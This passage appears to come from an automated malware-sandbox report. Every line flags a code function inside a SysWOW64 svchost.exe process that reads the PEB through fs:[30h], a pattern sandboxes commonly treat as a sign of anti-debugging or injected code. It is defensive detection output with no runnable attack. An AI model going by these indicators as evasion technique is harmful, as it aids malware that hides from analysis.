            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DE3DB mov eax, dword ptr fs:[00000030h]2_2_033DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DE3DB mov eax, dword ptr fs:[00000030h]2_2_033DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DE3DB mov ecx, dword ptr fs:[00000030h]2_2_033DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DE3DB mov eax, dword ptr fs:[00000030h]2_2_033DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D43D4 mov eax, dword ptr fs:[00000030h]2_2_033D43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D43D4 mov eax, dword ptr fs:[00000030h]2_2_033D43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033EC3CD mov eax, dword ptr fs:[00000030h]2_2_033EC3CD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A3C0 mov eax, dword ptr fs:[00000030h]2_2_0333A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A3C0 mov eax, dword ptr fs:[00000030h]2_2_0333A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A3C0 mov eax, dword ptr fs:[00000030h]2_2_0333A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A3C0 mov eax, dword ptr fs:[00000030h]2_2_0333A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A3C0 mov eax, dword ptr fs:[00000030h]2_2_0333A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A3C0 mov eax, dword ptr fs:[00000030h]2_2_0333A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033383C0 mov eax, dword ptr fs:[00000030h]2_2_033383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033383C0 mov eax, dword ptr fs:[00000030h]2_2_033383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033383C0 mov eax, dword ptr fs:[00000030h]2_2_033383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033383C0 mov eax, dword ptr fs:[00000030h]2_2_033383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B63C0 mov eax, dword ptr fs:[00000030h]2_2_033B63C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332823B mov eax, dword ptr fs:[00000030h]2_2_0332823B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0340625D mov eax, dword ptr fs:[00000030h]2_2_0340625D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E0274 mov eax, dword ptr fs:[00000030h]2_2_033E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E0274 mov eax, dword ptr fs:[00000030h]2_2_033E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E0274 mov eax, dword ptr fs:[00000030h]2_2_033E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E0274 mov eax, dword ptr fs:[00000030h]2_2_033E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E0274 mov eax, dword ptr fs:[00000030h]2_2_033E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E0274 mov eax, dword ptr fs:[00000030h]2_2_033E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E0274 mov eax, dword ptr fs:[00000030h]2_2_033E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E0274 mov eax, dword ptr fs:[00000030h]2_2_033E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E0274 mov eax, dword ptr fs:[00000030h]2_2_033E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E0274 mov eax, dword ptr fs:[00000030h]2_2_033E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E0274 mov eax, dword ptr fs:[00000030h]2_2_033E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E0274 mov eax, dword ptr fs:[00000030h]2_2_033E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03334260 mov eax, dword ptr fs:[00000030h]2_2_03334260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03334260 mov eax, dword ptr fs:[00000030h]2_2_03334260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03334260 mov eax, dword ptr fs:[00000030h]2_2_03334260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332826B mov eax, dword ptr fs:[00000030h]2_2_0332826B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332A250 mov eax, dword ptr fs:[00000030h]2_2_0332A250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03336259 mov eax, dword ptr fs:[00000030h]2_2_03336259
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033EA250 mov eax, dword ptr fs:[00000030h]2_2_033EA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033EA250 mov eax, dword ptr fs:[00000030h]2_2_033EA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B8243 mov eax, dword ptr fs:[00000030h]2_2_033B8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B8243 mov ecx, dword ptr fs:[00000030h]2_2_033B8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033402A0 mov eax, dword ptr fs:[00000030h]2_2_033402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033402A0 mov eax, dword ptr fs:[00000030h]2_2_033402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034062D6 mov eax, dword ptr fs:[00000030h]2_2_034062D6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C62A0 mov eax, dword ptr fs:[00000030h]2_2_033C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C62A0 mov ecx, dword ptr fs:[00000030h]2_2_033C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C62A0 mov eax, dword ptr fs:[00000030h]2_2_033C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C62A0 mov eax, dword ptr fs:[00000030h]2_2_033C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C62A0 mov eax, dword ptr fs:[00000030h]2_2_033C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C62A0 mov eax, dword ptr fs:[00000030h]2_2_033C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336E284 mov eax, dword ptr fs:[00000030h]2_2_0336E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336E284 mov eax, dword ptr fs:[00000030h]2_2_0336E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B0283 mov eax, dword ptr fs:[00000030h]2_2_033B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B0283 mov eax, dword ptr fs:[00000030h]2_2_033B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B0283 mov eax, dword ptr fs:[00000030h]2_2_033B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033402E1 mov eax, dword ptr fs:[00000030h]2_2_033402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033402E1 mov eax, dword ptr fs:[00000030h]2_2_033402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033402E1 mov eax, dword ptr fs:[00000030h]2_2_033402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A2C3 mov eax, dword ptr fs:[00000030h]2_2_0333A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A2C3 mov eax, dword ptr fs:[00000030h]2_2_0333A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A2C3 mov eax, dword ptr fs:[00000030h]2_2_0333A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A2C3 mov eax, dword ptr fs:[00000030h]2_2_0333A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A2C3 mov eax, dword ptr fs:[00000030h]2_2_0333A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03360124 mov eax, dword ptr fs:[00000030h]2_2_03360124
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03404164 mov eax, dword ptr fs:[00000030h]2_2_03404164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03404164 mov eax, dword ptr fs:[00000030h]2_2_03404164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DA118 mov ecx, dword ptr fs:[00000030h]2_2_033DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DA118 mov eax, dword ptr fs:[00000030h]2_2_033DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DA118 mov eax, dword ptr fs:[00000030h]2_2_033DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DA118 mov eax, dword ptr fs:[00000030h]2_2_033DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F0115 mov eax, dword ptr fs:[00000030h]2_2_033F0115
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DE10E mov eax, dword ptr fs:[00000030h]2_2_033DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DE10E mov ecx, dword ptr fs:[00000030h]2_2_033DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DE10E mov eax, dword ptr fs:[00000030h]2_2_033DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DE10E mov eax, dword ptr fs:[00000030h]2_2_033DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DE10E mov ecx, dword ptr fs:[00000030h]2_2_033DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DE10E mov eax, dword ptr fs:[00000030h]2_2_033DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DE10E mov eax, dword ptr fs:[00000030h]2_2_033DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DE10E mov ecx, dword ptr fs:[00000030h]2_2_033DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DE10E mov eax, dword ptr fs:[00000030h]2_2_033DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DE10E mov ecx, dword ptr fs:[00000030h]2_2_033DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332C156 mov eax, dword ptr fs:[00000030h]2_2_0332C156
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C8158 mov eax, dword ptr fs:[00000030h]2_2_033C8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03336154 mov eax, dword ptr fs:[00000030h]2_2_03336154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03336154 mov eax, dword ptr fs:[00000030h]2_2_03336154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C4144 mov eax, dword ptr fs:[00000030h]2_2_033C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C4144 mov eax, dword ptr fs:[00000030h]2_2_033C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C4144 mov ecx, dword ptr fs:[00000030h]2_2_033C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C4144 mov eax, dword ptr fs:[00000030h]2_2_033C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C4144 mov eax, dword ptr fs:[00000030h]2_2_033C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B019F mov eax, dword ptr fs:[00000030h]2_2_033B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B019F mov eax, dword ptr fs:[00000030h]2_2_033B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B019F mov eax, dword ptr fs:[00000030h]2_2_033B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B019F mov eax, dword ptr fs:[00000030h]2_2_033B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332A197 mov eax, dword ptr fs:[00000030h]2_2_0332A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332A197 mov eax, dword ptr fs:[00000030h]2_2_0332A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332A197 mov eax, dword ptr fs:[00000030h]2_2_0332A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034061E5 mov eax, dword ptr fs:[00000030h]2_2_034061E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03370185 mov eax, dword ptr fs:[00000030h]2_2_03370185
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033EC188 mov eax, dword ptr fs:[00000030h]2_2_033EC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033EC188 mov eax, dword ptr fs:[00000030h]2_2_033EC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D4180 mov eax, dword ptr fs:[00000030h]2_2_033D4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D4180 mov eax, dword ptr fs:[00000030h]2_2_033D4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033601F8 mov eax, dword ptr fs:[00000030h]2_2_033601F8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AE1D0 mov eax, dword ptr fs:[00000030h]2_2_033AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AE1D0 mov eax, dword ptr fs:[00000030h]2_2_033AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AE1D0 mov ecx, dword ptr fs:[00000030h]2_2_033AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AE1D0 mov eax, dword ptr fs:[00000030h]2_2_033AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AE1D0 mov eax, dword ptr fs:[00000030h]2_2_033AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F61C3 mov eax, dword ptr fs:[00000030h]2_2_033F61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F61C3 mov eax, dword ptr fs:[00000030h]2_2_033F61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C6030 mov eax, dword ptr fs:[00000030h]2_2_033C6030
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332A020 mov eax, dword ptr fs:[00000030h]2_2_0332A020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332C020 mov eax, dword ptr fs:[00000030h]2_2_0332C020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334E016 mov eax, dword ptr fs:[00000030h]2_2_0334E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334E016 mov eax, dword ptr fs:[00000030h]2_2_0334E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334E016 mov eax, dword ptr fs:[00000030h]2_2_0334E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334E016 mov eax, dword ptr fs:[00000030h]2_2_0334E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B4000 mov ecx, dword ptr fs:[00000030h]2_2_033B4000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D2000 mov eax, dword ptr fs:[00000030h]2_2_033D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D2000 mov eax, dword ptr fs:[00000030h]2_2_033D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D2000 mov eax, dword ptr fs:[00000030h]2_2_033D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D2000 mov eax, dword ptr fs:[00000030h]2_2_033D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D2000 mov eax, dword ptr fs:[00000030h]2_2_033D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D2000 mov eax, dword ptr fs:[00000030h]2_2_033D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D2000 mov eax, dword ptr fs:[00000030h]2_2_033D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D2000 mov eax, dword ptr fs:[00000030h]2_2_033D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335C073 mov eax, dword ptr fs:[00000030h]2_2_0335C073
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03332050 mov eax, dword ptr fs:[00000030h]2_2_03332050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B6050 mov eax, dword ptr fs:[00000030h]2_2_033B6050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F60B8 mov eax, dword ptr fs:[00000030h]2_2_033F60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F60B8 mov ecx, dword ptr fs:[00000030h]2_2_033F60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033280A0 mov eax, dword ptr fs:[00000030h]2_2_033280A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C80A8 mov eax, dword ptr fs:[00000030h]2_2_033C80A8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333208A mov eax, dword ptr fs:[00000030h]2_2_0333208A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332C0F0 mov eax, dword ptr fs:[00000030h]2_2_0332C0F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033720F0 mov ecx, dword ptr fs:[00000030h]2_2_033720F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332A0E3 mov ecx, dword ptr fs:[00000030h]2_2_0332A0E3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033380E9 mov eax, dword ptr fs:[00000030h]2_2_033380E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B60E0 mov eax, dword ptr fs:[00000030h]2_2_033B60E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B20DE mov eax, dword ptr fs:[00000030h]2_2_033B20DE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336273C mov eax, dword ptr fs:[00000030h]2_2_0336273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336273C mov ecx, dword ptr fs:[00000030h]2_2_0336273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336273C mov eax, dword ptr fs:[00000030h]2_2_0336273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AC730 mov eax, dword ptr fs:[00000030h]2_2_033AC730
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336C720 mov eax, dword ptr fs:[00000030h]2_2_0336C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336C720 mov eax, dword ptr fs:[00000030h]2_2_0336C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03330710 mov eax, dword ptr fs:[00000030h]2_2_03330710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03360710 mov eax, dword ptr fs:[00000030h]2_2_03360710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336C700 mov eax, dword ptr fs:[00000030h]2_2_0336C700
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03338770 mov eax, dword ptr fs:[00000030h]2_2_03338770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340770 mov eax, dword ptr fs:[00000030h]2_2_03340770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340770 mov eax, dword ptr fs:[00000030h]2_2_03340770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340770 mov eax, dword ptr fs:[00000030h]2_2_03340770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340770 mov eax, dword ptr fs:[00000030h]2_2_03340770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340770 mov eax, dword ptr fs:[00000030h]2_2_03340770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340770 mov eax, dword ptr fs:[00000030h]2_2_03340770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340770 mov eax, dword ptr fs:[00000030h]2_2_03340770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340770 mov eax, dword ptr fs:[00000030h]2_2_03340770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340770 mov eax, dword ptr fs:[00000030h]2_2_03340770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340770 mov eax, dword ptr fs:[00000030h]2_2_03340770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340770 mov eax, dword ptr fs:[00000030h]2_2_03340770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340770 mov eax, dword ptr fs:[00000030h]2_2_03340770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03330750 mov eax, dword ptr fs:[00000030h]2_2_03330750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033BE75D mov eax, dword ptr fs:[00000030h]2_2_033BE75D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372750 mov eax, dword ptr fs:[00000030h]2_2_03372750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372750 mov eax, dword ptr fs:[00000030h]2_2_03372750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B4755 mov eax, dword ptr fs:[00000030h]2_2_033B4755
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336674D mov esi, dword ptr fs:[00000030h]2_2_0336674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336674D mov eax, dword ptr fs:[00000030h]2_2_0336674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336674D mov eax, dword ptr fs:[00000030h]2_2_0336674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033307AF mov eax, dword ptr fs:[00000030h]2_2_033307AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E47A0 mov eax, dword ptr fs:[00000030h]2_2_033E47A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D678E mov eax, dword ptr fs:[00000030h]2_2_033D678E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033347FB mov eax, dword ptr fs:[00000030h]2_2_033347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033347FB mov eax, dword ptr fs:[00000030h]2_2_033347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033527ED mov eax, dword ptr fs:[00000030h]2_2_033527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033527ED mov eax, dword ptr fs:[00000030h]2_2_033527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033527ED mov eax, dword ptr fs:[00000030h]2_2_033527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033BE7E1 mov eax, dword ptr fs:[00000030h]2_2_033BE7E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333C7C0 mov eax, dword ptr fs:[00000030h]2_2_0333C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B07C3 mov eax, dword ptr fs:[00000030h]2_2_033B07C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334E627 mov eax, dword ptr fs:[00000030h]2_2_0334E627
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03366620 mov eax, dword ptr fs:[00000030h]2_2_03366620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03368620 mov eax, dword ptr fs:[00000030h]2_2_03368620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333262C mov eax, dword ptr fs:[00000030h]2_2_0333262C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372619 mov eax, dword ptr fs:[00000030h]2_2_03372619
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AE609 mov eax, dword ptr fs:[00000030h]2_2_033AE609
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334260B mov eax, dword ptr fs:[00000030h]2_2_0334260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334260B mov eax, dword ptr fs:[00000030h]2_2_0334260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334260B mov eax, dword ptr fs:[00000030h]2_2_0334260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334260B mov eax, dword ptr fs:[00000030h]2_2_0334260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334260B mov eax, dword ptr fs:[00000030h]2_2_0334260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334260B mov eax, dword ptr fs:[00000030h]2_2_0334260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334260B mov eax, dword ptr fs:[00000030h]2_2_0334260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03362674 mov eax, dword ptr fs:[00000030h]2_2_03362674
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F866E mov eax, dword ptr fs:[00000030h]2_2_033F866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F866E mov eax, dword ptr fs:[00000030h]2_2_033F866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336A660 mov eax, dword ptr fs:[00000030h]2_2_0336A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336A660 mov eax, dword ptr fs:[00000030h]2_2_0336A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334C640 mov eax, dword ptr fs:[00000030h]2_2_0334C640
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033666B0 mov eax, dword ptr fs:[00000030h]2_2_033666B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336C6A6 mov eax, dword ptr fs:[00000030h]2_2_0336C6A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03334690 mov eax, dword ptr fs:[00000030h]2_2_03334690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03334690 mov eax, dword ptr fs:[00000030h]2_2_03334690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AE6F2 mov eax, dword ptr fs:[00000030h]2_2_033AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AE6F2 mov eax, dword ptr fs:[00000030h]2_2_033AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AE6F2 mov eax, dword ptr fs:[00000030h]2_2_033AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AE6F2 mov eax, dword ptr fs:[00000030h]2_2_033AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B06F1 mov eax, dword ptr fs:[00000030h]2_2_033B06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B06F1 mov eax, dword ptr fs:[00000030h]2_2_033B06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336A6C7 mov ebx, dword ptr fs:[00000030h]2_2_0336A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336A6C7 mov eax, dword ptr fs:[00000030h]2_2_0336A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340535 mov eax, dword ptr fs:[00000030h]2_2_03340535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340535 mov eax, dword ptr fs:[00000030h]2_2_03340535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340535 mov eax, dword ptr fs:[00000030h]2_2_03340535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340535 mov eax, dword ptr fs:[00000030h]2_2_03340535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340535 mov eax, dword ptr fs:[00000030h]2_2_03340535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340535 mov eax, dword ptr fs:[00000030h]2_2_03340535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335E53E mov eax, dword ptr fs:[00000030h]2_2_0335E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335E53E mov eax, dword ptr fs:[00000030h]2_2_0335E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335E53E mov eax, dword ptr fs:[00000030h]2_2_0335E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335E53E mov eax, dword ptr fs:[00000030h]2_2_0335E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335E53E mov eax, dword ptr fs:[00000030h]2_2_0335E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C6500 mov eax, dword ptr fs:[00000030h]2_2_033C6500
